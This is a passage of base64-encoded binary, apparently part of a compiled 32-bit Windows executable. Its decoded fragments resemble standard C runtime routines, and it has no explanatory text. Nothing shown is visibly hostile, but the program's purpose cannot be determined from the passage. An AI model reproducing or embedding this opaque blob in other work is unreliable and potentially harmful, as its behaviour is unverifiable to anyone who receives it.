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
